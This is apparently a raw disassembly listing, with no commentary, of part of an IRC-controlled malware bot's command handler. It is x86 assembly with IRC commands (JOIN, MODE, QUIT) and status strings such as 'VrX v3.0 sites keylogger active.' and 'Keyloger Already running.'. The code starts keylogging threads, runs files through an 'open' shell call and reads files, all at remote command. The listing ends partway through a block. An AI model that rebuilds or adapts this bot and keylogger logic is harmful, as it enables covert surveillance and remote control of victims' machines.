		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2680EF8h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26901EBh
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2680EF8h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 26A0846h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
